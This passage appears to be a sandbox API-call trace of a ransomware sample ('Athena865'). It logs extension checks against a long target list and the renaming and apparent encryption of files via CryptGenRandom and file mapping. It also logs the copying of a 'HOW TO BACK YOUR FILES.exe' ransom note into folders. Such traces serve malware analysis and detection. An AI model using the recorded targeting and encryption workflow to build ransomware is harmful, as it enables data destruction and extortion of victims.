lpString2="accft") returned 1 [0095.869] lstrlenW (lpString="adb") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="adb") returned 1 [0095.870] lstrlenW (lpString="adb") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="adb") returned 1 [0095.870] lstrlenW (lpString="ade") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="ade") returned 1 [0095.870] lstrlenW (lpString="adf") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="adf") returned 1 [0095.870] lstrlenW (lpString="adn") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="adn") returned 1 [0095.870] lstrlenW (lpString="adp") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="adp") returned 1 [0095.870] lstrlenW (lpString="alf") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="alf") returned 1 [0095.870] lstrlenW (lpString="ask") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="ask") returned 1 [0095.870] lstrlenW (lpString="btr") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="btr") returned 1 [0095.870] lstrlenW (lpString="cat") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="cat") returned 1 [0095.870] lstrlenW (lpString="cdb") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="cdb") returned 1 [0095.870] lstrlenW (lpString="ckp") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="ckp") returned 1 [0095.870] lstrlenW (lpString="cma") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="cma") returned 1 [0095.870] lstrlenW (lpString="cpd") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="cpd") returned 1 [0095.870] lstrlenW (lpString="dacpac") returned 6 [0095.870] lstrcmpiW (lpString1="US.dic", lpString2="dacpac") returned 1 [0095.870] lstrlenW (lpString="dad") returned 3 [0095.870] lstrcmpiW (lpString1="dic", lpString2="dad") returned 1 [0095.870] lstrlenW (lpString="dadiagrams") returned 10 [0095.870] lstrlenW (lpString="daschema") returned 8 [0095.871] lstrcmpiW (lpString1="n-US.dic", lpString2="daschema") returned 1 [0095.871] lstrlenW (lpString="db-journal") returned 10 [0095.871] lstrlenW (lpString="db-shm") returned 6 [0095.871] lstrcmpiW (lpString1="US.dic", lpString2="db-shm") returned 1 [0095.871] lstrlenW (lpString="db-wal") returned 6 [0095.871] lstrcmpiW (lpString1="US.dic", lpString2="db-wal") returned 1 [0095.871] lstrlenW (lpString="dbc") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dbc") returned 1 [0095.871] lstrlenW (lpString="dbs") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dbs") returned 1 [0095.871] lstrlenW (lpString="dbt") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dbt") returned 1 [0095.871] lstrlenW (lpString="dbv") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dbv") returned 1 [0095.871] lstrlenW (lpString="dbx") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dbx") returned 1 [0095.871] lstrlenW (lpString="dcb") returned 3 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dcb") returned 1 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dct") returned 1 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dcx") returned 1 [0095.871] lstrcmpiW (lpString1="dic", lpString2="ddl") returned 1 [0095.871] lstrcmpiW (lpString1=".dic", lpString2="dlis") returned -1 [0095.871] lstrcmpiW (lpString1="dic", lpString2="dp1") returned -1 [0095.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic.Athena865") returned 71 [0095.872] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic.athena865"), dwFlags=0x1) returned 1 [0095.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.875] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=624190) returned 1 [0095.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0095.875] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0095.876] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.876] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0095.876] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98940, lpName=0x0) returned 0x154 [0095.879] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x98940) returned 0x2d50000 [0095.913] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0095.914] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.914] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0095.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0095.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0095.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.914] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0095.920] CloseHandle (hObject=0x154) returned 1 [0095.920] CloseHandle (hObject=0x17c) returned 1 [0095.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0095.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15ed160, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc15ed160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.922] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15ed160, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc15ed160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0095.922] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.923] ReleaseMutex (hMutex=0xec) returned 1 [0095.923] CloseHandle (hObject=0xec) returned 1 [0095.923] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0095.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e4a0 | out: hHeap=0x4f0000) returned 1 [0095.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530998 | out: hHeap=0x4f0000) returned 1 [0095.923] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned 48 [0095.923] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\08B5DC74CCB32014503AA2C5A3B76C80") returned 0xec [0095.923] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.923] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0095.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.924] GetLastError () returned 0x0 [0095.924] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0095.924] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.925] CloseHandle (hObject=0xf4) returned 1 [0095.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0095.925] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.925] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc2cfc680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc2cfc680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.925] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.925] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc2cfc680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc2cfc680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.925] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.925] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.925] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.925] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2=".") returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="..") returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="windows") returned -1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="bootmgr") returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="temp") returned -1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="pagefile.sys") returned -1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="boot") returned 1 [0095.925] lstrcmpiW (lpString1="helper.exe", lpString2="ids.txt") returned -1 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2="ntuser.dat") returned -1 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2="perflogs") returned -1 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2="MSBuild") returned -1 [0095.926] lstrlenW (lpString="helper.exe") returned 10 [0095.926] lstrcpyW (in: lpString1=0x241e8aa, lpString2="helper.exe" | out: lpString1="helper.exe") returned="helper.exe" [0095.926] lstrlenW (lpString="helper.exe") returned 10 [0095.926] lstrlenW (lpString="Athena865") returned 9 [0095.926] lstrcmpiW (lpString1="elper.exe", lpString2="Athena865") returned 1 [0095.926] lstrlenW (lpString=".dll") returned 4 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2=".dll") returned 1 [0095.926] lstrlenW (lpString=".lnk") returned 4 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2=".lnk") returned 1 [0095.926] lstrlenW (lpString=".ini") returned 4 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2=".ini") returned 1 [0095.926] lstrlenW (lpString=".sys") returned 4 [0095.926] lstrcmpiW (lpString1="helper.exe", lpString2=".sys") returned 1 [0095.926] lstrlenW (lpString="helper.exe") returned 10 [0095.926] lstrlenW (lpString="bak") returned 3 [0095.926] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0095.926] lstrlenW (lpString="ba_") returned 3 [0095.926] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0095.926] lstrlenW (lpString="dbb") returned 3 [0095.926] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0095.927] lstrlenW (lpString="vmdk") returned 4 [0095.927] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0095.927] lstrlenW (lpString="rar") returned 3 [0095.927] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0095.927] lstrlenW (lpString="zip") returned 3 [0095.927] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0095.927] lstrlenW (lpString="tgz") returned 3 [0095.927] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0095.927] lstrlenW (lpString="vbox") returned 4 [0095.927] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0095.927] lstrlenW (lpString="vdi") returned 3 [0095.927] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0095.927] lstrlenW (lpString="vhd") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0095.928] lstrlenW (lpString="vhdx") returned 4 [0095.928] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0095.928] lstrlenW (lpString="avhd") returned 4 [0095.928] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0095.928] lstrlenW (lpString="db") returned 2 [0095.928] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0095.928] lstrlenW (lpString="db2") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0095.928] lstrlenW (lpString="db3") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0095.928] lstrlenW (lpString="dbf") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0095.928] lstrlenW (lpString="mdf") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0095.928] lstrlenW (lpString="mdb") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0095.928] lstrlenW (lpString="sql") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0095.928] lstrlenW (lpString="sqlite") returned 6 [0095.928] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0095.928] lstrlenW (lpString="sqlite3") returned 7 [0095.928] lstrcmpiW (lpString1="per.exe", lpString2="sqlite3") returned -1 [0095.928] lstrlenW (lpString="sqlitedb") returned 8 [0095.928] lstrcmpiW (lpString1="lper.exe", lpString2="sqlitedb") returned -1 [0095.928] lstrlenW (lpString="xml") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0095.928] lstrlenW (lpString="$er") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0095.928] lstrlenW (lpString="4dd") returned 3 [0095.928] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0095.929] lstrlenW (lpString="4dl") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0095.929] lstrlenW (lpString="^^^") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0095.929] lstrlenW (lpString="abs") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0095.929] lstrlenW (lpString="abx") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0095.929] lstrlenW (lpString="accdb") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0095.929] lstrlenW (lpString="accdc") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0095.929] lstrlenW (lpString="accde") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0095.929] lstrlenW (lpString="accdr") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0095.929] lstrlenW (lpString="accdt") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0095.929] lstrlenW (lpString="accdw") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0095.929] lstrlenW (lpString="accft") returned 5 [0095.929] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0095.929] lstrlenW (lpString="adb") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0095.929] lstrlenW (lpString="adb") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0095.929] lstrlenW (lpString="ade") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0095.929] lstrlenW (lpString="adf") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0095.929] lstrlenW (lpString="adn") returned 3 [0095.929] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0095.930] lstrlenW (lpString="adp") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0095.930] lstrlenW (lpString="alf") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0095.930] lstrlenW (lpString="ask") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0095.930] lstrlenW (lpString="btr") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0095.930] lstrlenW (lpString="cat") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0095.930] lstrlenW (lpString="cdb") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0095.930] lstrlenW (lpString="ckp") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0095.930] lstrlenW (lpString="cma") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0095.930] lstrlenW (lpString="cpd") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0095.930] lstrlenW (lpString="dacpac") returned 6 [0095.930] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0095.930] lstrlenW (lpString="dad") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0095.930] lstrlenW (lpString="dadiagrams") returned 10 [0095.930] lstrlenW (lpString="daschema") returned 8 [0095.930] lstrcmpiW (lpString1="lper.exe", lpString2="daschema") returned 1 [0095.930] lstrlenW (lpString="db-journal") returned 10 [0095.930] lstrlenW (lpString="db-shm") returned 6 [0095.930] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0095.930] lstrlenW (lpString="db-wal") returned 6 [0095.930] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0095.930] lstrlenW (lpString="dbc") returned 3 [0095.930] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0095.931] lstrlenW (lpString="dbs") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0095.931] lstrlenW (lpString="dbt") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0095.931] lstrlenW (lpString="dbv") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0095.931] lstrlenW (lpString="dbx") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0095.931] lstrlenW (lpString="dcb") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0095.931] lstrlenW (lpString="dct") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0095.931] lstrlenW (lpString="dcx") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0095.931] lstrlenW (lpString="ddl") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0095.931] lstrlenW (lpString="dlis") returned 4 [0095.931] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0095.931] lstrlenW (lpString="dp1") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0095.931] lstrlenW (lpString="dqy") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0095.931] lstrlenW (lpString="dsk") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0095.931] lstrlenW (lpString="dsn") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0095.931] lstrlenW (lpString="dtsx") returned 4 [0095.931] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0095.931] lstrlenW (lpString="dxl") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0095.931] lstrlenW (lpString="eco") returned 3 [0095.931] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0095.931] lstrlenW (lpString="ecx") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0095.932] lstrlenW (lpString="edb") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0095.932] lstrlenW (lpString="epim") returned 4 [0095.932] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0095.932] lstrlenW (lpString="fcd") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0095.932] lstrlenW (lpString="fdb") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0095.932] lstrlenW (lpString="fic") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0095.932] lstrlenW (lpString="flexolibrary") returned 12 [0095.932] lstrlenW (lpString="fm5") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0095.932] lstrlenW (lpString="fmp") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0095.932] lstrlenW (lpString="fmp12") returned 5 [0095.932] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0095.932] lstrlenW (lpString="fmpsl") returned 5 [0095.932] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0095.932] lstrlenW (lpString="fol") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0095.932] lstrlenW (lpString="fp3") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0095.932] lstrlenW (lpString="fp4") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0095.932] lstrlenW (lpString="fp5") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0095.932] lstrlenW (lpString="fp7") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0095.932] lstrlenW (lpString="fpt") returned 3 [0095.932] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0095.933] lstrlenW (lpString="frm") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0095.933] lstrlenW (lpString="gdb") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0095.933] lstrlenW (lpString="gdb") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0095.933] lstrlenW (lpString="grdb") returned 4 [0095.933] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0095.933] lstrlenW (lpString="gwi") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0095.933] lstrlenW (lpString="hdb") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0095.933] lstrlenW (lpString="his") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0095.933] lstrlenW (lpString="ib") returned 2 [0095.933] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0095.933] lstrlenW (lpString="idb") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0095.933] lstrlenW (lpString="ihx") returned 3 [0095.933] 